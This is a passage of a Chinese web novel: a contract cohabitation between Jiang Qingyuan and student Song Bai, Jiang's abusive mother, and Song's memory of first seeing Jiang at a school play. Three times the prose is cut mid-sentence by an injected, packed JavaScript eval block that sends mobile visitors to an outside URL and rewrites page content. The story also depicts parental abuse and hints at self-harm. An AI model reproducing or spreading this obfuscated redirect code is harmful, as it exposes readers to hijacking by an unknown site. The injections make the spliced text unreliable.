“如果你要带朋友回来,可以短居但不能常住,如果聚会,希望能在半夜12点之前结束,不要弄得太乱太脏,给阿姨增添工作压力。对了,你有女朋友吗?”
他话题转得突然,宋柏顿了顿,才看着他道:“现在还没有。”
“好,”江清圆就补充道,“如果交了女朋友,女朋友不能在这里常住哦。”
他不太习惯面对那么多陌生人。
“最后一条,如果不出意外,合同只维持4个月,4个月后你从别墅搬出去,我们合作结束。”
江清圆板着脸一口气说完,看向宋柏:“有什么不能接受的地方吗?”
宋柏视线就没怎么从他脸上离开过,其实很容易能捕捉到眼前人的情绪。
但除了他问完那句你生病了吗之后,感受到了一瞬江清圆的抗拒疏离外,之后哪怕江清圆神情语气再怎么变化,就比如此时板着脸装凶,宋柏都觉得感受不到一丝他真实的情绪。
像是再面对一潭死水。
“没有。”宋柏一万种想法在心中翻滚,出口却只有简短的两个字。
“好,”江清圆递过去了一份打印件,“那看完这个,就可以签合同了。”
宋柏也从包里掏出来一份厚度差不多的文件,递向了江清圆。
窗户未关,隔壁婚礼的声音猛地大了起来,原来是进行到了最激动人心的誓词环节。
司仪的声音字正腔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074078|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
圆:“请问新娘,你愿意嫁给新郎为你的合法丈夫,以后谨遵结婚誓词,无论贫穷还是富有、疾病或健康、顺利或失意,都爱他、安慰他、尊敬他、保护他?并对他永远忠心不变吗?”
江清圆接过宋柏的体检报告,低头翻开查看。
“我愿意。”
“请问新郎,你愿意娶新娘为你的合法妻子,以后谨遵结婚誓词,无论贫穷还是富有、疾病或健康、顺利或失意,都爱她、安慰她、尊敬她、保护她?并对她永远忠心不变吗?”
宋柏接过江清圆的体检报告,低头翻开。
“我愿意。”
“那请两位新人转过身来,相对而立,看着彼此的眼睛,交换爱情的对戒。”
乙方签名区上落下了龙飞凤舞的宋柏二字,江清圆接过宋柏递来的合同,在与乙方并列的甲方位置上,工工整整地写下了自己的名字。
“好了。”江清圆收好合同,“那你早点休息。”
一直看着人消失在楼梯拐角处后,宋柏才推着行李箱进了自己房间。
房间被收拾得很干净,衣柜旁的床上叠着两套崭新床品,靠花园的落地窗边还有一个大大的书桌。
宋柏将行李箱打开,没有收拾自己的衣服,翻出了一个本子和一个小机器人后,朝书桌走去。
台灯被打开,圆头圆脑的银色小机器人,弯着月牙眼睛,歪头看着高大的男生俯在桌上,开始写字。
*
看到草坪被一楼的灯光映亮,江清圆惊讶了一下,才迟钝地反应过来家里现在已经住下了另外一个人。
宋柏的房间就在他正下方,这么一开灯,不止草坪,也打亮了江清圆没开灯的房间,江清圆不适应这种光,放下手中的刀片,去拉窗帘。
屋子刚恢复漆黑,手机屏幕又亮了,江清圆拿起手机,是一条微信消息。
【你已添加了。,现在可以开始聊天了】的消息下面,是宋柏发过来的一张照片——被放在楼梯最下面的一个黄色外卖纸袋。
只有一张照片,后面没有跟任何话,江清圆却明白了他想表达什么。
黑暗中盯了微亮的屏幕好一会儿,江清圆回复:不用了,谢谢。
话发出去后,对面没有任何回答,江清圆以为这事就此结束,但半个小时后,手机屏幕再次亮起。
还是那个外卖袋子的照片,但比刚刚多上了一截台阶。
这次图片后面,多了一句话。
【。】你家真神奇,路过看见一个会爬楼梯的外卖袋子,好像是奔着你来的。
江清圆看着这行匪夷所思的话,被气笑了。
他熟练将刀片藏好,起身开门出去。
似乎料到了他会开门,外卖袋子已经光速爬到了楼梯拐角处,江清圆俯身捡起它,打开一看——感康、连花清瘟、小柴胡、布洛芬、碘伏、红霉素软膏……
零零总总的一大堆常用药之外,还有创可贴,绷带和棉签。
摆地上可以当场开个小药店了。
江清圆的手从这些药品上略过,拿起了里面与众不同的一样东西。
那是一张从笔记本上撕下来的纸,上面是新鲜的字迹,龙飞凤舞:
就算职业特殊,也要照顾好自己的身体哦。
江清圆从纸里抬起头,向下看去,宋柏抱着浴巾和睡衣,站在自己屋门口,正一副超不经意要去洗漱但没想到这么巧碰见江清圆刚好下楼的样子。
见江清圆看过来,他反而不像手机里那么多话了,只拿一双漆黑的眼睛安静看着他,活脱脱一个老实人好学生刚入社会想关心上司,但因为太老实只能想到这种生硬的笨办法,求上司别怪就收了药吃了吧的形象。
江清圆没有理,弯腰将外卖袋子放回楼梯拐角处。
“以后不要这样了,”他沉默了一会儿,绷着脸,用足以吓退所有老实好学生的邪恶上司语气道,“你应该还不知道,我是一个男同。”
“男同?”江清圆看见楼梯下老实学生宋柏怔了一下,随即朝他露出一个笑容。
“好巧,我也是。”
5. 05
在楼梯角和宋柏就性取向产生了开门见柜的交流后,不知是不是被他的坦诚吓到,江清圆当天夜里就发起了烧。
幸而发烧对他来说不过是家常便饭,江清圆抬手自己摸了摸额头,感觉没过40度,就没再当回事——像往常一样熬个几天应该就好了。
但兰盛莲女士知道他找到对象后,实在催得急,让他带对象回去看看。
于是第二天烧稍微退了点后,江清圆下了楼。
周六早上的八点,一楼只有静悄悄的阳光,宋柏并不在。
仅有的这两天相处,已经能让江清圆窥见他规律的生活——早上六点起床,出门运动一个小时,七点准时回来吃早饭,七点四十出门去学校。
一直等晚上十一二点才回来。
看来周六周日也不例外,现在八点,宋柏应该已经到学校了。
江清圆站在一楼环视了一圈,客厅很干净,每样东西都规矩地待在原位,也没有任何私人物品散布在客厅里。
除了作息自律,他生活也不是一个邋遢的人。
作为共处一个屋檐下的“室友”,江清圆对宋柏这样的品质还是很满意的。
他正这么想着,门口传来开门声,今天是魏阿姨上门打扫的样子,江清圆笑着抬头看去,正好与进门的宋柏对上了视线。
宋柏一进门,就看见江清圆站在楼梯旁对他笑,清晨的阳光还疏冷,落在他那双任谁看了几次都忍不住赞叹的漂亮眼睛上,倒要被他眼底柔软明亮的笑意给煨暖了。
被这样一双眼睛注视着,宋柏只觉得因奔跑造就的急促呼吸一下子平静了下来,他笑起来,朝江清圆扬了扬手:“吃早饭吗?”
江清圆没想到是宋柏,正不知道该怎么打招呼,就见宋柏毫不见外地问他要不要吃早饭。
真是个热情的老实人啊。
江清圆这也才看清他手里竟还提着两份早餐。
“你今天怎么没有去学校?”江清圆没有吃早饭的习惯,脑袋因发烧又昏沉,没有答应,只转移话题要糊弄过去。
“忘带书了,”说话间宋柏已进屋将饭摆好,看向江清圆,“不小心买多了,不吃就浪费了,帮我吃点吧。 ”
江清圆:“……”
作为一个向来立场不坚定的人,他就这么晕晕乎乎地,在一个阳光明亮的早晨,和同居不过三天的室友一起坐上了同一张餐桌。
迎来了久违的,温暖的早餐。
宋柏递给江清圆了一碗皮蛋瘦肉粥:“你尝尝怎么样,我看网上都说它家好喝。”
确实好喝。
江清圆发着烧,味觉不比平常,但也尝到了香滑鲜嫩,小半碗粥下肚,煨得人从内而外都暖和起来了,江清圆抬起头,认真道:“好喝。”
简单两字不足以表达,江清圆又补充了一句:“感觉自己健康了很多。”
这句话说完,就见对面的宋柏笑了,下一秒,江清圆面前就多了一颗剥好的茶叶蛋。
“它们家茶叶蛋网上也都说不错,你也尝尝。”宋柏边擦手边道,“你要是觉得还不错,我以后再买的话,就顺道再给你带。”
他这一套动作流畅至极,话术更是像准备过的一样,顺道两个字咬得很重,让想开口拒绝的江清圆,都觉得自己是不是太较真了,犹豫间,就见宋柏已经起身:“我找书去了,你先吃吧。”
他消失得太快,江清圆捧着瘦肉粥,拿着茶叶蛋,总觉得哪里不对劲,但又说不上来。
不是,皮蛋瘦肉粥暂且不提,茶叶蛋的味道不都是大差不差吗?
*
不同于小别墅时隔多年再次迎来的烟火气,兰盛莲的家一直不缺饭菜的香气。
不是她那座专门给江耀过生日用的一年只去一次的园野。
而是她生活的家。
和园野不同,她长住的家并不豪华,双层小楼,比江清圆的小别墅还小些,四室两厅而已,带一个小小的院子。
天气好的时候,阳光照在院子架子一排排的绿植上,安定温馨一片。
而兰盛莲更是一个好妈妈,江耀吃饭挑食,她不但做饭的阿姨就流水般地换,还尽量每天都能陪他吃饭,哄着人多吃一些。
江清圆每次来,只要是饭点,刚靠近兰盛莲的家,就能闻到饭菜的香味。
今天尤为甚,可能兰盛莲记挂着他的女朋友,门没关,江清圆一进去,就看见客厅尽头菜摆了满满一桌。
兰盛莲背对着门坐着,正把红酒倒入醒酒器,江清圆对着她的背影静静站了好久,喊了一声:“妈妈,我……”
一听见他的声音,兰盛莲就转过了身,却不是在意江清圆,而是直往他身后瞧去:“你女朋友呢,怎么就你一个人?”
心中准备了好久才敢说出口的话被这么一打断,江清圆一下子泄了气,看江耀不在客厅,他索性不再上前,直接道:“我没带他来。”
砰的一声,兰盛莲将醒酒器掷在了桌上,她上一秒还算有点笑容的脸一下子就绷紧了,成了一块锋利的岩石。
客厅气氛瞬间冷了下来,从厨房端着菜走来的阿姨一看这架势,熟练地一个转身,又回了厨房。
兰盛莲冷下了脸,却一句话也不说,只是拿一双冰冷的眼睛狠狠瞪着江清圆。这是她很熟练的招式了,五岁的江清圆会扣着手,胆战心惊地去解读她眼睛里是什么原因造就的怒气,吓得话都不会说。
二十二岁的江清圆指尖狠狠陷在掌心里,已经能在这眼神中继续平静说道:“我想着我找的是一个男生,就不带过来让您生气了。”
听到男生这个词,兰盛莲一时没反应过来,眼中的怒气滞了一下后,眼角和嘴唇才开始抽搐。
“好,好……”她指着江清圆的手颤抖得厉害,气得声音比手还要抖,“我说你怎么答应得这么快,原来、原来是在这儿等着我……”
兰盛莲越说越气,抓起手边的醒酒器就朝江清圆砸去。
江清圆没躲,醒酒器砸到他肩头,顺着他肩膀掉下去,在他脚边咚地一声碎开。
兰盛莲见他不躲站得笔直,怒气不降反升,就要去拿红酒瓶。
“妈妈。”
走廊尽头的门被打开,江耀抱着一个变形金刚玩偶从出来,跑向了僵住的兰盛莲。
他声音里带着害怕,兰盛莲表情立马柔和了下去,她放下酒瓶,转身抱接住江耀,不让一身狼狈的江清圆吓着他,颤抖道:“十二点半了,宝宝饿不饿,我们马上就吃饭,好不好?”
安抚完江耀,转头面向江清圆时,兰盛莲的声音已恢复了平静:“你去外面站着。”
江清圆没走,他眨了眨眼,也叫道:“妈妈,我……”
“出去,”兰盛莲的声音里已经有了不耐烦,“我不想说第三遍。”
江清圆重新回到外面没有一点树荫的小院子站定,唯一值得欣喜的是,今天有41度,他身上的红酒不到五分钟就干了。
但这快乐短得像幻觉,干了后的衣服没一会儿就开始发烫,闷在身上,很快江清圆的皮肤就开始变红,随之而来的是火辣辣的烫。
不过一个小时,江清圆抬头看太阳时,太阳的边缘在他眼中已经开始晕染。
两个小时后,太阳就变成了一摊不成形的鸡蛋,江清圆看着看着,感觉自己也要随它融化了,但他依旧还站立在地上。
煎熬地□□着。
不远处的入户门没关,迷迷糊糊间,江清圆听见了从里面传出的笑声。他透过窗户看去,原来是江耀午睡醒了,兰盛莲正在陪他玩。
江清圆看了会儿,默默别过了脸。
一直站到太阳从一大摊鸡蛋再回拢成橙黄的圈,晚间第一缕凉爽的风吹到江清圆身上时,兰盛莲才从门内现身。
她身后家里橙黄的光打来,让她整个人显得无比温暖:“你以为我拿你没有办法吗?”
“你每月的钱从今天开始就停掉了,”兰盛莲温柔摸了摸找来的江耀的头,不愿他听见这些对话,弯腰温声道,“宝宝先进去,妈妈马上就过去陪你玩好不好?”
江耀软软地应了一声好,看了一眼江清圆后,转身进了屋。
兰盛莲重新起身看向江清圆。
“你害得我和你爸离婚,这个家散掉,如果还有良心,就回去好好想想要不要再这么自私下去。”兰盛莲不愿多说,“你走吧,我再给你一个星期的时间思考。”
“妈妈,”江清圆又积攒了一下午的勇气,此时看着她,还是说了那句话,“我今天早上头很痛,好像是发烧了。”
兰盛莲从他脸上离开的视线一瞬都未停,转身关上了门
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074079|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
*
江清圆回到家的时候,天已经黑透了。
小别墅漆黑一片,他没有开灯,摸黑直奔一楼冰箱。
头又热又晕,江清圆只记得一楼冰箱里有冰袋,磕磕绊绊地到了冰箱前,去摸冰箱门,没摸到门,摸到了一只手。
幸好他此时脑子卡壳,一时竟来不及害怕,给了宋柏说话的时间:“你怎么了?”
江清圆松开手,顺着声音抬头,在黑暗里认真道:“现在不怎么,你再不让我打开冰箱,就可能会死了。”
下一秒,冰箱门就被宋柏打开了,江清圆弯腰摸到冰袋,本想直接上楼,但起身那一下晕得厉害,他硬撑不住,扶着旁边的餐桌坐了下来。
宋柏去开了灯后,就看见江清圆坐在餐桌旁,正将冰袋往脸颊上扣。
一面脸颊被冰袋压平,另一面脸颊微微鼓起,灯光猛地打开,刺激得他眨了眨眼睛,下意识朝自己望来。
这毫无准备的一眼里没什么情绪,死寂得像一个荒原。
“我今天心情好,你有没有什么想要的?”见宋柏望回来,江清圆眨了眨眼,笑意涌入,苍白褪去,再加上一副富二代的纨绔腔调,人又变回了早上的那个他。
宋柏请他吃了早餐,他不愿意欠人什么,只想快点还清这份人情。
宋柏没接话,走过去在他跟前站定,视线下移:“今天心情好?”
江清圆跟着宋柏的视线看去,不由得一顿——醒酒器不小,砸到了他锁骨上,他皮肤又薄,很容易留下痕迹,此时因为坐姿衣领微微散开,露出了锁骨,一大片泛紫的淤青大大咧咧躺在灯光下,简直刺眼。
江清圆伸手勾住衣领,盖住了锁骨,使劲摁了摁,不宋柏再看见。
“对不起,”他刚遮住锁骨,头顶就响起了抱歉,江清圆再抬头,便撞进了宋柏微微俯身靠近的眼睛,“你发烧了?”
离得近了,才更能看清江清圆现在的狼狈——他苍白五官被额边的薄汗渗透,眉梢眼角都是细碎的疲惫,这样的组合本该是丑陋的,但他太好看,仿佛现在指腹摁上去,剥开脆弱的壳,还能闻得到芳香。
江清圆被他的靠近吓了一跳,往后仰了仰:“没有。”
他站起来就要离开,就听见宋柏轻声问:“你不会还介意我是个男同吧?”
“没有。”江清圆脑子刚刚还只是单纯胀痛,现在已经进化到嗡嗡作响,让他整个人像在交响乐的BGM里被绿巨人狂揍,一时除了没有也说不出其他什么。
说完没有,却没听见宋柏的回话,江清圆眼前发黑,闭眼缓了缓,再睁眼,眼前就多了一粒退烧药和一杯温水。
他抬头,宋柏已经礼貌地站在一米外的中岛台旁,手里也端着一杯温水,见他望过来,做了一个吃药的动作后,朝他举了举杯。
江清圆头昏脑涨间,真不由自主地跟着他的动作,咽了退烧药。
宋柏见他吃了药,面上终于有了点笑意,烧药这种常用药他来那晚也给自己也点了一份,之后就随身携带着,热水也是他从学校回来后一直备着的。
宋柏视线从江清圆面上掠过,落到他被衣服遮掩的锁骨处。
身上的伤却是猝不及防的。
宋柏刚有的笑意一下子又淡了许多,视线中间薄薄的肩颈动了动——江清圆撑着餐桌,站起了身。
宋柏立刻放下手中的温水,想跟上去又担心江清圆害怕自己的靠近,踌躇间却见江清圆没有上楼的意思。他手腕撑着餐桌,摇摇欲坠地看向自己,一双眼睛里有细碎的光在晃动,像一池湖水被震动,很轻地说了声:“谢谢。”
江清圆说完,又沉默了良久,他刚刚经历了一番大思考,终于明白了宋柏今晚的所作所为,于是认真地开口道:“你不用讨好我。”
江清圆拼尽所有力气,铿锵有力地道:“我会按时给你发工资和交五险一金的。”
说完这句,脑中的交响乐立马升了几个调,痛得要把他撕裂,让他顾不得对面宋柏突然发笑,自顾自地想把话继续说完:“我们有合同有法律效益,就算万一我以后拖欠工资,你也可以去劳动仲…”
宋柏看着江清圆,没忍住又笑了一下,他没继续听下去,开口道:“如果说我们以前认识呢。”
我们以前认识呢。
6. 06
宋柏第一次见江清圆,如果要找一个词来形容,便是眺望。
隐秀山作为涧州市郊区一个平平无奇的小景区,平日里客流量就泯然众景区,夜里更是见不着两条腿走路的,只因今夜因来了一群素质拓展的初高中生,才迎来了有山以来的最大热闹。
初高中正是给把火就敢点炮仗炸天的年纪,更何况学校还安排了篝火晚会,就只见乌泱泱一群披着人皮的猴围着篝火上下窜成一团,直到文艺演出开始后好久,才安静了一些。
宋柏从后山回来时,伴随着台上《青花瓷》的BGM和四周的小话声,随便在最后找了一个空凳子坐下。
他紧紧握着手中的东西,没察觉同班朋友找过来,还是朋友担心地碰了碰他的胳膊,小心翼翼地问:“你还好吧?”
宋柏抬起头,一向容易显得冷漠的眼睛中此时一片空洞,但还是勾了勾唇角,安慰朋友道:“没事。”
伴随着朋友放下心来的笑容,远处的舞台传来了报幕声:“接下来,欢迎我校萤火话剧社带来的原创话剧《下山》!”
宋柏此后的岁月里,无数次回忆起这天晚上,又无数次在回忆里确认,周围的私语声,是在这声报幕声后,渐渐安静下来的。
台上幕起。
小和尚山上修行十八年,背完了山一般高的经,念过了海一般宽的佛,狭窄的师门再也束不住他,他背起行囊,要下山见见更广阔的天地。
师父没阻拦他,他却在山脚下,遇到了一个奇怪的老僧。
老僧笑起来眼睛弯成一条缝,悠悠道:“我与你说三件事,你听了,就不会再想往前走了。”
小和尚看着他:“你说。”
“第一件事,你再往前走十里,会碰到一群盗贼,他们会将你包裹抢走,随之将你揍个鼻青脸肿,最后连僧衣都不给留下,徒留你赤/裸/裸一人,去面对接下来的大千世界。”
小和尚笑了:“钱不过身外之物,鼻子青了脸肿了但胳膊和腿都还在,那即便是赤/裸/裸往前走,又有何怕?”
老僧呵呵一笑,没有讶异,而是继续道:“第二件事,只要踏入大千世界,你即少不了碰壁,你说出口的每一句话都有可能会被曲解,你做的每个动作都能产生误会,你到的每一个地方都存有打击。”
“外头不是你风调雨顺的师门,踏进去,你一个普普通通的小和尚,这一生就是一场巨大的为难。”
小和尚笑意更大了:“我在师门念经,念不好师父会责怪;我清早从山底挑水到山上,走不正就会被绊倒,水洒一地还要重走;我接待施主,解的签不如他们意就会流失香客……而这种种大小事,更会招至师父失望。”
“我一个弱弱小小的年轻和尚,如何能扔掉自己不想念的经,倒掉自己不想挑的水,推开自己不想见的人?”
他直直看着老僧:“师门里何曾风调雨顺,我看你是走了太远的路,忘了少时一无所有的无助。”
老僧看着他的目光不变,叹了长长一口气,又道:“那最后一件事,你两个月后会遇到一书生,你们两个一见如故引为知己,想约花甲之年一道归隐山林,他却于四十岁染上重病与世长辞。”
“一年后你会碰见一个卖花的姑娘,这是一场注定离别的相遇,最后一眼你看见她挽篮站在长长的屋檐下,转身之后只能任由她清晰的面容渐渐被岁月磋磨模糊,因为你到老再也没见过她。”
老僧绕着小和尚,语速越来越快:“如此往后一百年,还有许许多多人和事等着你,教你道理的恩师你看着他蒙冤入狱而无能为力,助你前程的贵人到头来背地里作恶多端,身无分文时赠你一个饼的老妪两个儿子均已惨死在战场,家里只剩破床一张和一根上吊的绳。”
“和你一起淋过雨的好友最终反目成仇,你怎么也想不清其中缘由,交过手的仇人多年后相逢你又可怜他流落街头……”
“这些且不论,”老僧声音越来越高,“甚至是一只睡过你膝盖的小猫,十天大雨过后的太阳、失而复得的一支笔……”
“都能牵动你的心绪,让你流连,让你憎恨,让你不舍。”
老僧浑浊的双眼定定盯向小和尚:“你可知这心不由人的煎熬,若你不下山,便不会遇到这些,也就不必经历这份痛苦。”
小和尚脸上的笑容终于愣住了。
他站在那里,眼中天真的光也熄灭了,只剩一层脆弱的眼瞳直直呆呆地望着老僧。
久到一辈子都已过去一遍,老僧觉得他无法回答,要转身离开时,小和尚才如梦初醒般地哦了一声。
他看着老僧背影:“那你后悔和他们的相遇吗?”
老僧几乎没有丝毫犹豫地脱口而出道:“不后悔。”
小和尚的眼睛重新弯成了一条缝,做回了一汪快活的月牙:“你看,你不后悔嘛,我也就注定要往前走。”
他说罢,走到老僧身旁,拉起他的手,快乐地、决绝地朝前方走去。
两人的身影渐渐重叠在远山之间,世界之中……
舞台下,宋柏早已忘了手中还握着东西,他身边,是无数和他同频的安静呼吸。
直到扮演小和尚和老僧的演员返场,演小和尚的演员举着话筒说完:“欢迎我们这场话剧的导演和编剧。”
舞台下才重新有了些声音。
廉价的白炽灯再次亮起,拼命向外伸展的光晕下,一道身影从帷幕后跃了出来。
他穿着最简单的蓝白校服,刚出现时是走,然后开始小跑,于是模糊的身影逐渐清晰——先是雪白小臂,再是笔直修长的一双腿,风吹着校服勾勒出的清瘦腰身上,是看上去蝴蝶翅膀一样薄的皮肤,贴在颈上、贴在因奔跑起伏的锁骨上莹莹颤动。
最后是一个笑容。
开心而鲜活的,笑到眼睛成了两道弯弯的弧线,笑到柔软莹白脸颊上的肉微微鼓起,笑到嘴角弯起的弧慢慢掩盖住羞涩,坦荡地将自己摆在灯光下,让舞台上升起了一轮更圆满的,我见犹怜的月亮。
这是17岁的江清圆。
他站在那里,有掩盖不住的紧张,以至于忘了说自己的名字,但更有挺直的腰板和青涩的骄傲,让他紧紧握着话筒,明亮地道:“老师们同学们好,我是这个话剧的编剧……”
漂亮勇敢,无畏动人。
宋柏坐在最远的黑暗里,从他出现的那一刻就陷入了一种静止的状态,漆黑的瞳孔眨眼不眨,一动不动地盯着台上人。
直到身旁的朋友拍了拍他:“你认识他啊?”
宋柏缓缓摇了摇头。
从这一秒开始,想认识了。
“想你也不认识,”朋友有意转移他心绪,凑过来煞有其事地道,“我知道他,高中的学生会主席在追他。”
宋柏转过来头:“学生会主席?”
“对,”朋友点了点头,“就那个许为。”
看宋柏感兴趣,朋友挑着眉,将八卦引入了高/潮:“也是个男的。”
却没料宋柏对这句话反应平平,他重新看向江清圆,问朋友:“那你知道他叫什么名字吗?”
“江什么的,”朋友摇了摇头,“他本人很低调的,出名的除了好看就没什么了,噢,还有爸妈特有钱。”
说罢见微知著、一锤定音:“无聊的有钱人而已。”
宋柏看着台上,17岁的江清圆发言完毕,退回了最后一排,将舞台还给了演员们,站在他前面的演员像另一层帷幔,半遮半掩地露出了只有宋柏关注的小话剧——高中生江清圆微微低着头,在万众瞩目的舞台角落,认真而虔诚地和自己的衣摆做斗争。
话筒被他抱在臂弯里,两只手艰难却不乏仔细地将褶皱撑开,紧紧地贴向大腿处,再迅雷不及掩耳之势地空出一只手,以腿为桌,以指为慰烫机,狠狠地戳上褶皱后研磨了几秒。
随之放开。
意料之内情理之中的,褶皱缓缓地,恢复了原型。
17岁的江清圆无奈地叹了一口气,不由自主地皱了皱鼻子,但也就一下,下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074080|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一秒,他就注意到了前方小和尚演员的衣领,有一块翻了过来。
他顿时忘了衣摆,投入了下一场战斗——抬手同样认真地,将那块衣领慢吞吞地折了回来。
一切的小动作,台下宋柏尽收眼底。
宋柏抬眸认真看着,刺眼的白炽灯被岁月更迭成了柔和的室内灯,22岁的江清圆看着他,问:“你说什么?”
而他一只手撑着餐桌,另一手正摁在大腿上,柔软的指尖下,一小片褶皱在被他慢慢揉熨着。
5年的时光,已经让他这个动作可以不再用眼睛,只凭意识完成了。
20岁的宋柏想着,这真是一个长足而又让人心柔软成一片的进步。
所以一个能认真和衣摆褶皱较真的人,又怎么会是个无聊的人呢?
宋柏笑着摇了摇头:“我说我有一个关于AI的作业,要完成还差人帮我打个下手,你刚刚问我想要什么,我想要你帮我打个下手,可以么?实在是现在是暑假时间,留校的人不多,找不到别人。”
江清圆脑子奏着乐,见宋柏嘴巴一张一合,只听见了什么AI作业,打下手的。
没想到他想好得那么快,不过正好合了江清圆想快点还完他人情的意,江清圆点了点头:“好。”
“其他的没什么了,”宋柏的笑意就更大了些,他双手合十放在耳边,微微歪了歪头,说出了最后的下半句话:“晚安,祝你今晚睡个好觉。”
上半句没说出的是:如果生病了,一定要按时好好吃药。
但宋柏还没等来江清圆,先等来了一个意想不到的人。
还是江清圆面试自己的酒馆,宋柏看着对面的女人,她今天穿了一套考究的白色西装,配着墨镜,通身气场一般人根本不敢靠近。
但伸出的手指甲上,残留着油画笔的色彩,又让人窥见她私底下身为妈妈柔软的一面。
握手坐下后,兰盛莲摘下了墨镜,露出了一双不那么亲切却也不失温和的笑眼。
“不用紧张,我是江清圆妈妈,”兰盛莲笑着道,“你就是最近和江清圆住在一起的那个男生?涧科大人工智能专业,20岁大四,提前校招进来的,和学校签了硕博连读的协议。”
她最后夸赞道:“实在是少年英才。”
面对江清圆妈妈的夸赞,宋柏有些不好意思,但更多是对她突然出现的忐忑。
拿捏不准她话中的意思,面对她的夸赞,宋柏只是礼貌地笑了笑,没有接话。
兰盛莲也不在意,她继续道:“江清圆答应我的,是找个女朋友住进来,没想到找了你这么个大小伙子,真是让我意外。”
她说完这句话,顿了顿,这是生意场上基本的手段,抛出句棱模两可的话,看对方什么反应,再据此调整自己接下来的话术。
兰盛莲本以为对面一个还在象牙塔里的大学生,至少会露出些紧张不安来,她看去,却只看见了一双漆黑的,望不见底的眼。
高高大大的男生安静坐在对面,面色没有变一点,却不是被吓傻了,他望过来的目光足够平和,里面只有探究,和见招拆招的从容与底气。
这不是一般的大学生。
“我没有怪你的意思,”兰盛莲笑容里立马多了些安抚,“我知道你是个好孩子,只是稀里糊涂和江清圆签了合同,在一个星期前,你们两个甚至不认识。”
兰盛莲低头,从包里翻出了一张照片,用指尖推到了宋柏面前:“我这回找你,只是想给你说件事,以防你被我儿子骗了。”
宋柏垂眸看去,兰盛莲递过来的是一张照片——一个七八岁的孩子站在一棵盛放的樱花树下,在蓝天白云绿地里笑得无比开朗。
纵然很小,也能看出眉眼和江清圆有八九分像。
兰盛莲的声音从对面幽幽传来,温和的声线陡然多了些悲伤:“江清圆告诉过你,他还有一个双胞胎哥哥吗?”
宋柏抬眼,对面兰盛莲眼中含泪:“他有告诉你,是他害死了自己的亲哥哥吗?”
7. 07
宋柏回到小别墅的时候,正是午饭时间,他一推开门,就听见一阵爽朗的笑声:“你以后去冰岛,就戴这顶帽子!”
看过去,客厅沙发旁,一身利落气质的长发女人正笑着往江清圆头上套一顶帽子。
江清圆坐在沙发上,仰头任她动作,也笑得眼睛弯弯。
那是一顶厚厚的白色毛绒帽,长着两只小小的熊耳朵,戴在江清圆脑袋上有些大,帽檐再低些,就能遮住他弯起的一双眼睛。
在八月的酷暑里,冒着炎热的温暖。
沙发旁的水吧台上,还坐着一个穿着蓝色校服的姑娘,面前摊着一张卷子,而她正埋首在卷子边的语文书里,聚精会神地给杜甫画马尾辫。
三人都没想到门会开,齐齐扭头看过来,江清圆一时没反应过来,还是利落女人呀了一声:“你就是小圆的那个男朋友?”
宋柏听见这句话,两只握着书包带子的手紧了紧,没有否认,却不由自主地站直了身体。
一副老实大学生的样子。
倒是江清圆瞬间就伸手拉了拉利落看女人的衣摆,示意她别这么说。
“我这人就是爱开玩笑,”利落女人感受到衣摆被拉了拉,知道江清圆不经逗,这才正经地朝宋柏伸出手,“小朋友你好,我叫兰盛梅,是小圆的小姨,知道你们实际不是情侣关系。”
宋柏走近和她握完手,兰盛梅又指了指水吧台上的女孩:“那是我女儿,兰澈。”
兰澈从杜甫的马尾辫里抬起头来,没有像宋柏那样任人揣测自己的名分,严谨道:“准确来说,我是被她领养回来的养女。”
“她的嘴不属人,向来不说人话,你别介意,”兰盛梅习以为常,面色不变地朝宋柏温柔一笑后,转过头看向兰澈,“吃饭前那套理综卷子做不完,你今天中午也就不用吃人饭了,我看西北风挺好喝,你就尝那个去吧。”
眼见着兰澈老老实实低下了脑袋,兰盛梅重新看向宋柏,不见外地笑道:“既然回来了,今天中午就和我们一起吃?”
宋柏当然没有拒绝的理由,相当乖巧道:“好的,谢谢小…阿姨。”
兰盛梅看着他的眼神变了一下,像是没有他刚刚话中的错误,只是随意道:“都住在一个屋檐下,要是不在意,你就叫我兰姨吧。”
宋柏露出一个笑:“谢谢兰姨。”
和兰盛梅这几句话的时间,他的余光一直没离开江清圆——江清圆一直安安静静地站在那里听他们说话,此时摘了毛绒绒的小熊帽,笑道:“那我先去把汤熬上。”
他从宋柏身边擦肩而过,宋柏看到了他红着的耳尖,不知是热的,还是什么。
再想细究,人已经进了厨房。
对于宋柏加入这顿午饭,他没露出一点不情愿,也没有表现出一丝欢喜,宋柏感受到的,只有熟悉的疏离和……不在意。
仿佛前两天晚上那点复苏的柔软生命力,都是幻觉。
“小圆做汤可好喝了,”兰盛梅对宋柏笑了笑,“你先坐着,我也进去看看。”
她说完,本以为这位礼貌的青年会客气道谢后坐下,却不料却一脚站在了她身前。
